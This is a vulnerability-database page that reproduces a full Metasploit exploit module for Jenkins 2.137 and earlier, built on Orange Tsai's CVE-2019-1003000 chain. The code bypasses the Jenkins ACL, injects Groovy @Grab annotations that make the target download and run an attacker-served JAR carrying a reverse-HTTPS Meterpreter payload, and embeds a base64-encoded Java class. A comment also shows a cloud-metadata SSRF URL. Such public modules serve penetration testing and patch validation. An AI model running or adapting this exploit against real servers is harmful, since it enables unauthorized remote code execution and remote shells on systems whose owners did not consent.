Lucene search
K

Jenkins ACL Bypass / Metaprogramming Remote Code Execution

🗓️ 19 Mar 2019 00:00:00Reported by Orange TsaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 108 Views

Exploits Jenkins ACL Bypass and Metaprogramming RCE to download and execute a malicious JAR file. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',  
'Description' => %q{  
This module exploits a vulnerability in Jenkins dynamic routing to  
bypass the Overall/Read ACL and leverage Groovy metaprogramming to  
download and execute a malicious JAR file.  
  
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work  
on later versions of Jenkins.  
  
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.  
},  
'Author' => [  
'Orange Tsai', # Discovery and PoC  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE', '2019-1003000'], # Script Security  
['CVE', '2019-1003001'], # Pipeline: Groovy  
['CVE', '2019-1003002'], # Pipeline: Declarative  
['EDB', '46427'],  
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],  
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],  
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],  
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']  
],  
'DisclosureDate' => '2019-01-08', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Privileged' => false,  
'Targets' => [  
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',  
'Version' => Gem::Version.new('2.137')  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive!  
))  
  
register_options([  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])  
])  
  
register_advanced_options([  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
])  
  
deregister_options('URIPATH')  
end  
  
=begin  
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]  
=end  
def check  
checkcode = CheckCode::Safe  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => go_go_gadget1('/search/index'),  
'vars_get' => {'q' => 'a'}  
)  
  
unless res && (version = res.headers['X-Jenkins'])  
vprint_error('Jenkins not detected')  
return CheckCode::Unknown  
end  
  
vprint_status("Jenkins #{version} detected")  
checkcode = CheckCode::Detected  
  
if Gem::Version.new(version) > target['Version']  
vprint_error("Jenkins #{version} is not a supported target")  
return CheckCode::Safe  
end  
  
vprint_good("Jenkins #{version} is a supported target")  
checkcode = CheckCode::Appears  
  
if res.body.include?('Administrator')  
vprint_good('ACL bypass successful')  
checkcode = CheckCode::Vulnerable  
else  
vprint_error('ACL bypass unsuccessful')  
return CheckCode::Safe  
end  
  
checkcode  
end  
  
def exploit  
unless check == CheckCode::Vulnerable || datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')  
end  
  
# NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS  
# HACK: Both HttpClient and HttpServer use datastore['SSL']  
ssl = datastore['SSL']  
datastore['SSL'] = false  
start_service('Path' => '/')  
datastore['SSL'] = ssl  
  
print_status('Sending Jenkins and Groovy go-go-gadgets')  
send_request_cgi(  
'method' => 'GET',  
'uri' => go_go_gadget1,  
'vars_get' => {'value' => go_go_gadget2}  
)  
end  
  
#  
# Exploit methods  
#  
  
=begin  
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword  
?apiUrl=http://169.254.169.254/%23  
&login=orange  
&password=tsai  
=end  
def go_go_gadget1(custom_uri = nil)  
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username  
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')  
  
return normalize_uri(acl_bypass, custom_uri) if custom_uri  
  
normalize_uri(  
acl_bypass,  
'/descriptorByName',  
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'  
)  
end  
  
=begin  
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile  
?value=  
@GrabConfig(disableChecksums=true)%0a  
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a  
@Grab(group='tw.orange', module='poc', version='1')%0a  
import Orange;  
=end  
def go_go_gadget2  
(  
<<~EOF  
@GrabConfig(disableChecksums=true)  
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')  
@Grab('#{vendor}:#{app}:#{version}')  
import #{app}  
EOF  
).strip  
end  
  
#  
# Payload methods  
#  
  
#  
# If you deviate from the following sequence, you will suffer!  
#  
# HEAD /path/to/pom.xml -> 404  
# HEAD /path/to/payload.jar -> 200  
# GET /path/to/payload.jar -> 200  
#  
def on_request_uri(cli, request)  
vprint_status("#{request.method} #{request.uri} requested")  
  
unless %w[HEAD GET].include?(request.method)  
vprint_error("Ignoring #{request.method} request")  
return  
end  
  
if request.method == 'HEAD'  
if request.uri != payload_uri  
vprint_error('Sending 404')  
return send_not_found(cli)  
end  
  
vprint_good('Sending 200')  
return send_response(cli, '')  
end  
  
if request.uri != payload_uri  
vprint_error('Sending bogus file')  
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")  
end  
  
vprint_good('Sending payload JAR')  
send_response(  
cli,  
payload_jar,  
'Content-Type' => 'application/java-archive'  
)  
  
# XXX: $HOME may not work in some cases  
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")  
end  
  
def payload_jar  
jar = payload.encoded_jar  
  
jar.add_file("#{app}.class", exploit_class)  
jar.add_file(  
'META-INF/services/org.codehaus.groovy.plugins.Runners',  
"#{app}\n"  
)  
  
jar.pack  
end  
  
=begin javac Exploit.java  
import metasploit.Payload;  
  
public class Exploit {  
public Exploit(){  
try {  
Payload.main(null);  
} catch (Exception e) { }  
  
}  
}  
=end  
def exploit_class  
klass = Rex::Text.decode_base64(  
<<~EOF  
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB  
AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq  
YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl  
Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n  
L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q  
twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL  
AAAA  
EOF  
)  
  
# Replace length-prefixed string "Exploit" with a random one  
klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")  
end  
  
#  
# Utility methods  
#  
  
def payload_uri  
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"  
end  
  
def vendor  
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join  
end  
  
def app  
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join  
end  
  
def version  
@version ||= Faker::App.semantic_version  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation